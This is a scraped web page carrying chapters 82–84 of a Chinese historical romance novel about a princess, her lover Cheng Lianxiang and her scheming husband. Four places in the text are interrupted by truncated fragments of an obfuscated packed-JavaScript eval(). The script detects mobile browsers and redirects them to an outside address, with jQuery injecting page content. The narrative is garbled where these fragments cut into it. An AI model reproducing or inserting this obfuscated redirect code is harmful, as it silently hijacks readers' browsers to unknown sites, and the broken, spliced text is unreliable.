l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446171|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖。 “可是今晚我真的帮不上忙啊。” 程怜香一愣。 看见程怜香的表情苻庆就知道对方肯定又是想错了,笑着解释道:“你当我刚才为什么能对着你那么规矩呢?我今天来葵水了,即便是你答应了我也有心无力啊。” 程怜香猛然明白了苻庆的意思,也明白刚才苻庆为什么对自己不似从前那般热情。回过神来的程怜香后知后觉感到不好意思,红着脸往旁边躲了躲,轻声嘟囔道:“什么叫有心无力啊?这不该是我说的话吗。” “谁让你一开始的时候总说不该你说的词啊。”苻庆故意伸着脑袋凑到程怜香眼前,喋喋不休地问道:“你看,谁让你一开始不答应我的?要是我刚抢你进府的时候你便答应了,咱俩这会早就生米煮成熟饭了。” “你!”程怜香红着脸躲避开苻庆的视线,“别胡说,我是规矩人。” 苻庆没忍住哈哈笑起来,“规矩人?谁家规矩人半夜翻墙来见小姑娘啊?你真以为你是张生我是崔莺莺了?” 程怜香不说话,瞥了苻庆一眼后气鼓鼓地转过了头。 苻庆被程怜香生气的样子逗乐,笑着伸出胳膊勾住了程怜香的脖子。而程怜香还没反应过来,便被苻庆压在了他心口的位置。 “好了小香香,我不逗你了,你能千里迢迢跑过来给我说这些话,我很高兴。” 程怜香顿了顿,慢慢伸出手环抱住苻庆。 “那你,真的喜欢我吗?” 苻庆抬起头,微微皱眉看着程怜香。 但程怜香的表情很是认真,看起来是真的很想问这个问题。 “我当然是真的喜欢你了,程怜香,难道你会主动亲一个你不喜欢的人吗?” 程怜香露出一个微笑,一双瑞凤眼微微眯起,但苻庆仿佛仍然能从其中看到自己的倒影。 “谢谢你,苻庆。” 就在二人说话的工夫,外面的雨已经变为了淅淅沥沥的小雨。 苻庆躺在程怜香腿上,胳膊举着一片糖耳朵送到程怜香嘴边,程怜香张开嘴,由着苻庆将糖耳朵塞到自己嘴里。 “这是原先我在锦西城常吃到的点心,你尝尝好吃吗?” 程怜香还没等品尝便点了头,“你觉得好吃的东西,我自然也觉得好吃。” 苻庆轻轻推了程怜香一把,“我原先怎么没发现你这张嘴这么会哄人?” 程怜香用手指捋顺苻庆额上的碎发,“还不是公主教得好。” 不一会,程怜香忽然说道:“我该走了。” “走?”苻庆连忙看了一眼外面的天气,“可是这雨不是还下着吗?” “即便它不停我也得走了,”程怜香说话的时候还是有些脸红,“若是我再不走被人发现了,像什么样子?” 苻庆的脖子一梗,伸手抓住了程怜香的脖颈,“你害怕了?” “我不害怕。”程怜香的喉结在苻庆的手心上下滚动,“但我怕这样对你不好。” 苻庆伸出两只手勾住程怜香的脖子,“你不害怕,我也不害怕,我们正大光明的有什么好怕的?” “可是你府中……” “别提那个人,我正烦着呢。”苻庆面不改色地说出这句话。 程怜香并不知道杜至善是有哪里得罪了苻庆,但不论如何,这个结局是他想要看到的。 “程怜香,反正今晚外面下大雨了,我们就不要管外面的人,你在这里陪着我,我只有你,你也只有我,好不好?” 心上人都这样说了,程怜香还能说出什么来,只能一遍遍认真地点头。 82. 昨晚 不一会,二人便躺到了床上。 程怜香一开始很是拘谨,还是苻庆主动捞了程怜香一只胳膊枕在脑袋下,又打了个滚挤到了程怜香身边。 程怜香看着苻庆轻车熟路的样子,一时不知道该高兴还是不高兴。 苻庆抬起头看向程怜香,有点像一只好奇的小猫。 “程怜香,你不困吗?” 程怜香将苻庆搂得更紧些,仿佛要将苻庆揉进自己的身体内。“你困了?” 苻庆点头,“本来这几天就容易犯困。” 程怜香点头,用下巴轻轻蹭了蹭苻庆的头顶。 苻庆在程怜香的怀中微微挣扎一下,程怜香感觉到苻庆的抗拒,赶紧松开手询问道:“怎么了?我弄疼你了吗?” 苻庆露出一个微笑,“这倒没有,不过我来葵水了,你就不怕我染你身上血腥味?” “哪有血腥味?”程怜香反而认真地将脑袋埋在苻庆颈窝处闻了闻,“我怎么觉得反而比平日里更香了?” 苻庆感觉有些痒,缩着脖子躲开程怜香,“大约是松醪帮我熏了寝衣。” 程怜香看着依偎在自己怀中的苻庆,只觉得自己心中是前所未有的安宁。即便是今日他往玉泉别院赶来的路上,程怜香也没想到会发生什么,更没想过自己还能够获得这样的机会。 短短几日之间,他本以为自己与苻庆此生缘分已尽,转眼却可以与心上人同塌而眠。对于程怜香来说,这实在是如同做梦一般幸福的日子,使得他甚至怀疑明早醒来他便会发现,这不过是自己的一场美梦。 想到这,程怜香伸出手将苻庆掉在脸颊上的碎发轻轻捋到耳后,接着用另一只手环抱住苻庆。 苻庆感觉到程怜香的动作,配合地躲在程怜香的怀中一动不动,声音闷闷地传出:“怎么了?” 程怜香的声音听起来好像在叹气,“没什么,睡觉吧。” 苻庆本想换个轻松点的姿势,但感受到程怜香十分用力地抱着自己,干脆打消了这个念头。抱着就抱着吧,反正明天早晨醒来胳膊麻掉的人不是自己。 苻庆露出一个奸计得逞的微笑,往程怜香的怀中又贴了贴,没一会便睡着了。 程怜香却睡得很晚,他甚至舍不得合上眼睛,只想让这一霎的美好能够停留得再久一点。 苻庆的睡相很好,即便睡熟了也几乎一动不动,偶尔胳膊会有轻轻的抖动,不知道是不是在做梦的缘故。 每到这时候,程怜香就会用手掌轻轻抚摸苻庆的后背。 当晚,程怜香做了一个梦,梦到自己变成一棵参天大树,能够用树枝与绿叶给予苻庆最温柔的抚摸和最踏实的依靠。 而苻庆就躺在自己的怀抱中,睡得如同一个孩童。 大雨不知道是什么时候停止的,只知道第二日天亮的时候,外面已经有了清脆的鸟鸣声。 苻庆昨晚睡了一个好觉,因此醒的也很早。醒来后见程怜香还睡着,苻庆也不着急起床,反而饶有兴致地研究起程怜香的五官来。 睡着的程怜香如同一幅闭目的观音像,他的眼睫毛很长,眉眼舒展。苻庆忍不住伸出手指碰了碰程怜香的眼睫毛,对方颤抖了一下,缓缓睁开了眼睛。 苻庆有种被抓包的感觉,“是我吵醒你了吗?” 程怜香一睁开眼睛便看见苻庆趴在自己身边,一双大眼睛忽闪忽闪地看着自己,心中只觉得无比幸福,哪还会在意是不是被吵醒。 “你怎么这么早就醒了?” 苻庆又翻了个身滚到程怜香的怀里,“昨晚睡得好,今天自然就醒得早。” 程怜香伸出手搂住苻庆,嘴上却忍不住问道:“你这些动作都是从哪学来的,怎么这么熟练啊?” 苻庆被程怜香的话逗笑,伸出手扯了扯程怜香的脸颊。 “吃醋了?” 程怜香并不反驳,闷声答应着,“嗯。” 苻庆主动凑上前用额头蹭了蹭程怜香的下巴,“这还用得着跟人学吗?我看见你,自然就想这么做。” 程怜香被苻庆一哄就好,两只手把苻庆搂在怀里,对着苻庆的嘴巴就要亲下去,苻庆赶紧伸出一只手拦住了他。 “没刷牙呢。” 程怜香这才想起来自己昨晚也并未洗漱,忽然有些不好意思起来,连忙松开了抱着苻庆的胳膊。 苻庆跨过程怜香坐到床边,还不忘回身打趣程怜香,“要不要跟松醪打声招呼?” “不要!”程怜香赶紧用袖子捂住了脸,为了见苻庆翻墙过来是一回事,真的将这件事摊开了说给旁人听又是另一回事了,他现在还没做好将自己的所作所为公之于众的准备。 苻庆猜到程怜香会这么说,笑着从床幔的缝隙中钻出去,还不忘帮程怜香重新将床榻遮挡住。 打开门,松醪已经领着伺候洗漱的婢女站在门口了。 “你昨晚什么时候回来的,没有被淋到吧?” 松醪嘴角一撇,忍着笑问道:“公主这会才想起来问奴婢,不觉得有些晚了吗?” 苻庆拉着松醪的胳膊撒娇,“这英国公府咱们都住了多久了?早就混熟了,我这不是对你比较放心吗?” “是了,让公主不放心的人在屋里呢。” 苻庆转头看了眼合得紧紧的床幔,也露出一个笑容。 “洗漱的东西与毛巾奴婢都准备了两份,这还有一套衣服,是给程伶人准备的。”松醪侧过身示意苻庆,“一会丫鬟们拿进去就走。” 苻庆点头。 就在丫鬟们鱼贯而入将脸盆等物品摆放好的时候,松醪正在一旁拉着苻庆细细盘问。 “公主,昨晚……” 苻庆摆手,“你放心吧,我来着葵水呢,不会乱来的。” 松醪松了口气,“反正您与程伶人已经等了这么久,也不差这几日了。” 符庆听到松醪这样打趣自己,伸出手轻轻推了对方一把。 “你怎么知道昨晚程怜香过来了?” 说到这松醪便有些想笑,“公主,不只奴婢知道了,整个英国公府都知道了。” 接着,松醪将国公夫人特意派人给程怜香指路的事情告知了苻庆。 “公主,奴婢可提醒您,恐怕一会国公爷便要过来了。” “我这个大伯,真是唯恐天下不乱。”苻庆摇摇头,见婢女们已经走出了屋子,闪身走回了屋内。 “起来洗漱吧。” 话音刚落,程怜香已经掀起床幔走出来,苻庆昨晚给他的衣服只有外衣,此时只是松松垮垮地搭在他的肩膀上,露出了胸前大片的肌肤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446172|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苻庆吹了个口哨。 程怜香意识到自己形象有些不妥,抬起手挡了挡。 “别挡了,迟早有看到的那一天。” 程怜香听到苻庆这句话还好,却在看到苻庆的时候,脸以肉眼可见的速度红了。 苻庆此时已经洗完脸,正用毛巾擦着脸上的水珠。袖子被她折到手臂上,露出了一截胳膊。由于有些水珠流到了脖子上,苻庆连忙拉开一点领口,避免衣服上沾到水。 看到程怜香的样子,苻庆已经猜到他脑子里究竟在想什么,抬手将手中的毛巾砸了过去。 “不正经。” 程怜香见苻庆猜到自己脑中所想,赶紧接过毛巾搭在肩膀上,伸手舀了好几捧水到脸上,试图将自己脑子中的不干净也洗出去。 等到程怜香将最后一口漱口水吐掉,甚至手里还拿着杯子便被苻庆拉着腰带拽了过去。 “苻庆!” 苻庆此时已经披上了外衣,她抬头看着程怜香,手上却用力扯下了程怜香的腰带。 “松醪给你拿了新衣服,穿上给我看看。” 程怜香无奈地一笑,将手上的杯子顺手放在一边,终于不再挣扎,只是伸长胳膊一副引颈就戮的样子。 苻庆微笑,抬起手将程怜香身上穿的外袍脱了下来。 “从前以为你挺瘦的,没想到还挺有肉呢。” 苻庆的手冷不丁在程怜香腰上掐了一下,程怜香微微一颤,并没有阻止苻庆。 “若没有好身板,怎么能够唱好戏?” 苻庆的手顺着程怜香的腰绕到前头,从程怜香的腹肌上蹭过去,程怜香的腹肌虽说没有边关将士那般明显,但仍然能看出些线条。最重要的是,虽说程怜香的脸已经够白了,但比起身上的皮肤来说,还是逊色了些。 这还是苻庆第一次看到一个男子身上这么白皙,仿若带着月牙的光辉。 程怜香闭着眼睛感受着苻庆的手在自己上身抚摸着,还好对方还算是老实,只是摸了摸,没有再做旁的磨人的举动。 “程怜香,你真的好白啊。” 程怜香睁开眼睛,低头看向正认真打量自己的苻庆,“那你是喜欢还是不喜欢呢?” 苻庆看向程怜香,过了半晌,伸手拉住程怜香的脖子,在程怜香的嘴唇上轻轻落下一个吻。 “快把衣服穿上去吧,看得见吃不着,我也挺着急的。”苻庆将衣服递给程怜香,自己走到一旁倒了一杯茶。 从屏风后再次走出,程怜香已经又变成了连脖子都捂得严严实实的程伶人,松醪不知道从哪里找到的这身衣服,这个绛紫色实在是好看,纱织的布料裹在程怜香身上,有种欲说还休的感觉。 苻庆想到一炷香前还站在这里任自己上下其手的程怜香,心里不禁又有点痒痒,奈何这几日实在是不行,只能走过去搂住程怜香,在对方胸口又蹭了蹭。 程怜香刚想说话,便听到一阵敲门的声音。 “阿庆!是我!” 苻庆抬起头,果不其然从程怜香脸上看到了惊慌两个字。 “别害怕,是我大伯。” “就是因为是英国公才不得了啊,”程怜香赶紧找屋子里有没有能容身的地方,“这可怎么办?万一英国公看见我在这,怎么解释才好呢?” 83. 热闹 苻庆不能说正是英国公将程怜香引过来的事情,只能任由程怜香躲到屏风后面,苻庆安慰程怜香说道:“你放心,一会我就让我大伯走了。” 程怜香的额头上好像有汗,看着苻庆的眼神好像一只受惊的小鹿。 不能再看了,苻庆在心中告诉自己,再看就更走不开了。 苻庆赶紧拿了一件外衣披在屏风上当做遮挡,接着便转身向门口走去。 打开门,苻庆还要装作一副惊讶的样子看着英国公。 “大伯,您怎么来了?” 英国公乐于配合苻庆的表演,说话的时候还不忘往门里张望,“大伯过来,自然是看看你啊。” 苻庆噗嗤一笑,不动声色挡住了英国公的视线。 “我看您想看的是另有其人吧。” 英国公毫不在意自己的真实目的被戳穿,听到苻庆这么说,反而邀起功来。 “阿庆,你这有些不地道吧?昨晚他能找过来还多亏了我派人给他指路呢,怎么不也得让他出来当面谢一谢我?” 苻庆倚在门框上,“我看大伯是这几日是真有些无聊了,不如赶紧进京准备兵部的事务吧。” “这孩子!”英国公捋了捋胡子,瞪了说风凉话的苻庆一眼,“我这么做不也都是为了你吗?上一回我便瞧着你俩有些猫腻,你这孩子喜欢谁、不喜欢谁都是写在脸上的,让人想猜不出来都很难啊。” 这还是苻庆第一次意识到这件事,不自觉地伸手抚上脸颊,自言自语问道:“有这么明显吗?” 英国公点头,“这些年我还是第一次见到你这么喜欢一个人,你还不赶紧叫他出来见一见我这个做长辈的?” “大伯!”苻庆严严实实地堵在门口,“你别把他吓着了。” “我怎么会吓着他?我长得有这么吓人吗?”英国公不以为然。 苻庆却很是坚决,“好了大伯,日后您到了京城,自然有见他的机会,今日他还没准备好呢,您就饶了他吧。” 英国公撇撇胡子,“行,看来你还挺心疼他的,那我们来日方长。” 苻庆笑着挥挥手目送英国公离开,之后赶紧关上门走回了屋内。 “程怜香?” “我在这。” 苻庆越过屏风,看见程怜香一只脚踩在窗框上,正以一个有点滑稽的姿势蹲在窗框上。 “你干什么呢?”苻庆忍俊不禁,走上前扶着程怜香跳了下来。 “我还以为英国公不肯走,正预备跳窗户呢。”程怜香一副劫后余生的样子,用袖子沾了沾额头的汗。 苻庆拿过手帕,抬手为程怜香拭去额角的汗珠。 “好了,我不留你了,一会松醪会带着你从角门出去。”苻庆用两只手挂在程怜香的脖颈上,“等回了京城,我再去找你。” 程怜香心中有些不舍,但又顾及苻庆的名誉,只能点头答应下来。 “那你答应我,一定要去和春班找我好不好?”程怜香眉头微蹙,看起来像只乞求主人喜爱的小狗,“因为如果你不来找我,我根本见不到你。” 看着程怜香的样子,苻庆心中一动,将那方手帕塞进了程怜香的领口。 “若我不去找你,你就拿着这方手帕去公主府找我。” 程怜香将苻庆揽进怀里,享受着最后的依偎时光。 “那如果你不肯见我呢?” 苻庆的笑声从怀中传来,“那你就用这方手帕做证物,告到京城府去,就说当朝长公主对你始乱终弃。” 程怜香也笑了,闭上眼睛用脸颊蹭了蹭苻庆的头发。 “好。” 送走程怜香后,苻庆一个人坐在屋内。明明还是同先前一样的摆设,但现在苻庆看过去,脑子里便会浮现出程怜香在这个屋子里的场景,面上不自觉便会露出微笑。 待松醪走进来的时候,便看见苻庆一个人坐在桌边对着地面傻笑。 松醪有些无奈,伸手在苻庆眼前晃了一下。 “公主,咱别笑了行吗?瞧着怪瘆人的。” 苻庆抿着嘴唇对着松醪眨了眨眼。 “奴婢给程伶人又叫了马车,亲眼看着他上车的,公主放心吧。” 苻庆点头,“玉泉别院如今也算是处于风口浪尖之上了,我不想把程怜香牵扯进来。” 松醪点头。“公主,还有一事,大内来消息了。” 苻庆看向松醪的表情重新变得严肃。 “宫正司会派人将公主府整体清扫一遍,说后日公主便能回去了。” “这么着急?那得病的下人怎么办?” 松醪垂下眼帘,“估摸着是都运走了。” 那等待他们的命运可想而知,苻庆也有些难过,低下头叹了口气。 “如今咱们离京城太远,很多事情想调查都不方便,也确实到了该回去的时候了。”苻庆伸手抚上桌子,“玉泉别院虽好,但到底只能是一时的居所,咱们的家不在这里。” 松醪看着苻庆落寞的样子,只觉得心中有些心疼。回到京城便等于回到虎狼窝中,又要再过上你不算计别人也要有旁人算计你的生活。 “若是真的能选,奴婢倒宁愿公主能一辈子不再回京城,不再过那种尔虞我诈的日子。” 苻庆笑一笑宽慰松醪,伸出手拉住松醪的手。 “会有那一天的,一定会有的。” 第三日一大早,苻庆按照宫中安排离开玉泉别院。 回去的路上苻庆的心情已经完全不似来的路程欢快,几乎是昏昏沉沉睡了一路,睡得很不安稳,但还是不想醒来。 还好现在京城还有一个程怜香等着自己。 还没到公主府,松醪便在车外轻声提醒苻庆:“公主,驸马在府外等候。” 这个杜至善,连休息时间都不给自己一点。苻庆还不知道杜至善这是葫芦里卖的什么药,只能强迫自己先打起精神来。 刚探身出了车厢,苻庆便看到杜至善很是殷勤地站在车外等候,伸出手要扶着苻庆下车。 当着这么多人面,苻庆没道理这点面子都不给杜至善,因此便从善如流握着杜至善的手下了马车。 “下官拜见公主。” 看着杜至善这般客气,苻庆终于忍不住出言揶揄:“驸马这是怎么了?莫不是背着我做什么亏心事了?” 杜至善并不抬头,“公主刚刚离开,府中便出现了痘疫,实在是下官管家不严所致,还请公主责罚。” 原来是在这里等着自己,苻庆露出一个微笑,伸手搀扶起杜至善。 “原来是为着这点小事,此事也并非驸马能够控制的,你还是不要太过于责备自己了。” 杜至善面上好像真的带着歉意,“只可惜原先那些下人公主已经用惯了。” “无妨,新来的人也还是可以调教的。”苻庆招手,松醪立刻走上前来。“松醪是从晏呢殿走出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446173|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌事宫女,最会调教人了,你不妨将这件事交给松醪来做。” 杜至善点头,“如此便再好不过了。” 看着杜至善垂手低头站在一旁的样子,苻庆心中只觉得对方虚伪至极。 “赶了一上午路我累了,想必驸马这几日也没有休息好,还是快回去休息吧。” “下官遵旨。” 终于陪着杜至善演完这出戏,苻庆只觉得自己懒得再看杜至善一眼,扭头便走进了公主府。 回到翠华庭,苻庆直奔贵妃榻,直挺挺地倒了上去。 过了一会,松醪走进屋里。 “公主,奴婢刚看过了,翠华庭里里外外的人已经都被换掉了。” 苻庆大约能猜到这样的结局,所以倒也不是太过于意外。 “只怕翠华庭是他的眼中钉、肉中刺,怎么可能不换掉?” 松醪轻轻皱眉,“可是这样一来,咱们的人……” 苻庆摆手制止了松醪下一步的话。 下一刻,敲门声传来。 “长公主,奴婢来给您送水果。” 苻庆使了个眼色,松醪走过去打开了门。门外站着一个眼生的小姑娘,瞧着不过十四五岁。 “进来吧。” 小姑娘端着一盘杨梅走进来,“奴婢见过长公主。” 苻庆坐直身体,微笑着对她点头。 “这是驸马爷让奴婢送来的。” 放下杨梅,她福一福身便打算离开。 “等等。”苻庆叫住了这个小女孩,“我好像没见过你,你叫什么名字?” 小女孩好像被苻庆的话吓到了,慌忙跪下说道:“奴婢云腴,昨日刚到长公主府,给长公主请安。” “云腴?真是个好名字。”苻庆慢条斯理地捏起一颗杨梅,“这名字是谁给你起的?” “回长公主的话,是奴婢的娘。” “原来如此。”苻庆点头,接着问道:“那你现在在何处当值啊?” 云腴垂着头,“回长公主,奴婢现在在揽晴轩当值。” “原来是驸马爷的人。”苻庆探身向前,“你别害怕,我只是随便问问。来,这个杨梅我赏给你。” 云腴哆嗦着手接过杨梅,“谢过长公主。” “既然你现在在揽晴轩当值,那和杜至善熟悉吗?” “奴婢刚刚进府,与杜……驸马爷还并不熟悉。” 苻庆歪着头打量着眼前这个垂着头的女孩,“你抬起头来。” 云腴一愣,却还是乖乖抬起了头。 雪白的一张小脸,腮上有两团软肉,下巴却很尖,眼睛很大,看着苻庆的时候总有种被吓坏的感觉。 “好一张我见犹怜的小脸。”苻庆露出一个微笑。“你是怎么入府的?” “奴婢家里穷,实在吃不起饭了,这才让奴婢出来做婢女的。” “是吗?”苻庆重新拿过一颗杨梅塞进嘴里,杨梅很甜,咬一口汁水四溅。“这杨梅挺甜的,你也快吃了吧,不要浪费。” 云腴看了看手里的杨梅,点一点头,将杨梅送到嘴边咬了一口。 “好了,话我已经问完了,你回去吧。” 云腴一愣,但还是行了个礼,赶紧退了出去。 看着云腴离开的背影,松醪轻轻阖上房门。 “小丫头年纪不大,满口谎话。”苻庆将杨梅子吐到手帕上,又捏了一颗杨梅送到嘴里。 84. 复旨 “公主是觉得她名字太书卷气了吗?”松醪将这个名字在脑中转了一圈,“味似云腴美,形如玉脑圆。这确实不像是一户吃不起饭的人家想出来的名字。” “不仅如此,我故意给她一颗杨梅,便是想看看她的反应。她对于杨梅这种水果毫不新奇,一看便是吃惯了的样子,这怎么可能是穷苦人家的女儿?再说,她那双手比我的手看上去还要娇嫩几分。” 松醪微笑,“看来她应当是杜家送过来的了。” 苻庆点头。 “只可惜现在府中我们几乎是无人可用,要不然盯紧了这个人,咱们或许还能找到些眉目。” 苻庆呼出一口气,虽说此次痘疫她和松醪都觉得杜至善嫌疑很大,但到底找不到什么证据。现在府中的人都被换了一批,更难找从前的线索了。 “松醪,你帮我去给和春班送一封信。” “和春班?” “嗯。”苻庆斩钉截铁地点头,“告诉程怜香,有件事只能他来帮我。” 简单吃过午饭,苻庆便坐着马车进了宫。皇帝对于苻庆的办事效率很是满意,因为心情好,还顺便着关心了一下苻庆的身体。 “朕听闻你府上最近出了事情,你年纪小,可要注意身体。” 苻庆点头,“多谢陛下关怀,儿臣一切都好。” “庆儿自从成婚后,眼见着变成大姑娘了,举手投足之间平添了几分稳重。也正因此,朕才敢把这么重要的事情交给你来做。”皇帝端起茶盏喝了口茶,“这件事说难不难,说简单却也不简单,你能够在这个关头说服英国公进京任职,对大夏可算得上是大功一件,朕很满意。” 苻庆表现得很是谦逊,弓着身说道:“国公爷也是心系陛下,否则儿臣即便有三寸不烂之舌,也难以说动国公爷。” “好了,你难得进宫来,今日便去瞧瞧你姨母吧。”皇帝面上带着笑容,“你们也是许久不见了。” 自从回门那日一同吃午饭,苻庆确实已经许久不见薛贵妃了。自从她成婚后,苻庆能够感觉到皇帝正在刻意减少她与薛贵妃见面的次数,但为了薛贵妃和太子,苻庆只能接受这样的安排。 看来英国公能够暂任兵部尚书一事对于皇帝来说真的很重要,居然能够允许自己前去探望姨母。只是不知道到底为什么非要让英国公接任兵部尚书一职,即便是赵王从中作梗,但皇帝的反应未免太过于蹊跷了。 坐在腰辂上,苻庆仍然在思考这件事。 虽说今日是临时告知,但苻庆还是看到薛贵妃站在抱厦之中等待自己。数日不见,苻庆总觉得薛贵妃看起来又瘦了一些。 “姨母。” 苻庆跑过去扑到薛贵妃怀里,薛贵妃伸出两只胳膊环抱住苻庆,像一棵树接纳了它的树苗。 “好孩子,仔细摔着。” 苻庆伸手捏了捏薛贵妃的胳膊,“姨母,我怎么觉得你好像又瘦了。” “大约是这几日天气热了吃不下东西,身体也就跟着轻简了些。”薛贵妃用手背摸了摸自己的脸蛋,“怎么了?姨母是不是变丑了?” “怎么可能!”苻庆大声回答薛贵妃,好像这样就能够让自己的表达更加坚定。“姨母是整个大夏最好看的人。” 薛贵妃露出一个温婉的笑容,梨涡犹如盛了蜜水的小盏。 “庆儿最会哄姨母高兴了。” 两人回到宫中,薛贵妃已经准备好了各式各样的糕点,招呼苻庆坐下后,端过碗碟来让苻庆挑选。 “这几日尚膳监新研究了几样点心,我吃着还不错,你也尝一尝。” 苻庆点头,拿起一块桃花样式的糕点到嘴边咬了一口。 “这几日确实热了些,但姨母多少也要吃点东西啊。”看着桌上摆的琳琅满目的点心,苻庆已经猜到薛贵妃这段时间大约就是靠着这些点心度日的。“我府上小厨房有个很会做凉面的厨子,姨母若是想尝尝,下次我让他提前做好了送进宫来。” 薛贵妃轻轻摇头,“尚膳监这么多人,哪还用得着到外面找?你不用担心我,过几日开了冰库,宫里凉快了,我胃口自然就好了。” 苻庆知道薛贵妃是不想自己这样做被后宫中其他人看到,她最担心的便是后宫中其他人攀扯她,若人人都能够不守规矩,宫中可就不好管了。 苻庆无奈,却也只能点了点头。 “这段时间过得还好吗?” 看着薛贵妃的脸,苻庆只觉得有千言万语涌到嘴边,最后却只是说了句,“一切都好。” 虽说薛贵妃在宫中,但对于宫外的事并非一无所知。苻庆先是被迫去玉泉别院做皇帝的说客,接着自己的公主府又出了事情,实在不算是“一切都好”的样子。可是听到苻庆这样说,薛贵妃又不好直接点破。 孩子长大了,想要让做长辈的放心,这也没什么不对的。 “我知道你是个有主意的孩子,也知道很多事情你都能够解决得很好。”薛贵妃伸手摸了摸苻庆的脑袋,“但你要答应我,如果真遇到了解决不了的事情,千万不要硬抗,晏呢殿就在这里。” 听着薛贵妃的话,苻庆只感觉自己心中是前所未有的安定。 “好。” 吃过点心,薛贵妃和苻庆挪到了茶几旁喝茶。 “再过两日便是瑕英长公主的婚礼了吧?” 苻庆点头,“所以明日我便要将提前准备好的贺礼送到宁国公府了。” 薛贵妃伸出手拍了拍苻庆的手背,“好孩子,我相信你能办好这件事。” 苻庆看着薛贵妃的手,“其实东西不多,只不过宁国公府高门显贵,寻常东西看不到眼里,太过于奢华也没有意思,因此费了些心思。” 薛贵妃连连点头,“你考虑得很好,对于这些人来说,有心反而是最重要的。” “我记下了,姨母。” 午后的阳光透过窗户上的雕花照射到了屋内,薛贵妃的位置正好有一束阳光照射到了她的腿上。 “姨母,宁国公府的婚事您也去不了吗?” 薛贵妃笑一笑,“傻孩子,我是陛下的妃嫔,哪能够轻易离开皇宫呢?即便是你成婚,我也只能送到晏呢殿门口啊。” 苻庆心中有些难过,薛贵妃看向窗外阳光的表情明明是那么向往,却怎么也逃不出这座牢笼。 “其实我真的不想去,宁慈心她……我说不上来。” 薛贵妃歪着头看向苻庆,“我知道,你和瑕英长公主从小便不对付,那时候先皇后还在世,你们时常拌嘴。” 苻庆有些心虚地低下头,“宁慈心这个人太高傲,实在不好相处。” “但我觉得你俩其实还有相似的地方,”薛贵妃的语速不急不慢,“瑕英长公主是个喜欢自由的人,宫规束缚不住她。而你,本来也是一只自由的小鸟。” 苻庆一愣,“姨母,说这个做什么?” “每次听到瑕英长公主消息的时候,我都会不由自主地想到你。我还是有私心的,若是你们之中只能有一个人获得圆满,庆儿,我还是希望那个人是你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446174|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苻庆知道宁慈心的婚配与自己一般,都是由不得自己的选择。也许这件事对于薛贵妃来说,未尝不是一场连环的打击。 “姨母,这世上许多事都是由不得自己做主的,我明白这个道理,也希望宁慈心能够明白。”苻庆想起宁慈心说起逃跑的事情,轻轻咽了口吐沫,“毕竟有些事情只有想通了,才能够过得顺遂。” 薛贵妃露出一个微笑,轻轻点头。 她当然明白这些道理,但若是能选,她倒是希望苻庆用不着明白这些道理。 只可惜,她们都还没有选择的权力。 “府上一切都还好吗?” “还好,只是由于前些日子闹的事情,府上的下人换了好些。” “我知道,是杜至善买回来的人。”薛贵妃点头,“我看过单子了,此事合情合理,我也就由着他去了。” 苻庆没想到薛贵妃竟然知道这件事,“那姨母可知道杜至善是从哪里买回来的人?” “这我倒没在意,怎么了?是他选的人你用着不舒服吗?”薛贵妃作势要叫花露来,“这不是难事,我让花露再选一批人送到公主府便是了。” “没事,姨母,我就是随口问问。”苻庆制止住了薛贵妃,“杜至善现在住在公主府,也算是帮我,这些事他既然做了,我也就不过问了才好。” 薛贵妃以为苻庆是不想让杜至善多虑,点头说道:“这倒是,你们现在才刚成婚,若是他想给府中添什么也是有道理的。毕竟那是你们共同的家,总要都住得舒心才好。” 毕竟自己手中还没有证据,苻庆还是决定先将自己的猜测隐瞒下来,因此只是点点头,附和了薛贵妃的话。 “庆儿,我知道你对杜至善总是有芥蒂的。”薛贵妃忽然抚上苻庆的手背。 这桩婚事是御赐,却并不证明就一定能够结局美满。薛贵妃在很久之前就想与苻庆谈一谈这件事,奈何自己与苻庆都不得自由,直到今日才找到一个时机。 对于薛贵妃来说,她只有一个愿望,那就是能够让苻庆幸福。 “这桩婚事不是你自愿的,我没法子帮你,只能眼睁睁地看着在这桩婚事被当做一个提线木偶一样摆弄。”说到这,薛贵妃面上露出凄然的神情,“庆儿,是姨母对不起你。” 苻庆不知道是不是宁慈心的婚事又刺激到了薛贵妃,因此只是宽慰对方说道:“姨母别这样想了,我这条命不就是姨母捡回来的吗?能够拥有现在的生活,我已经很高兴了。” 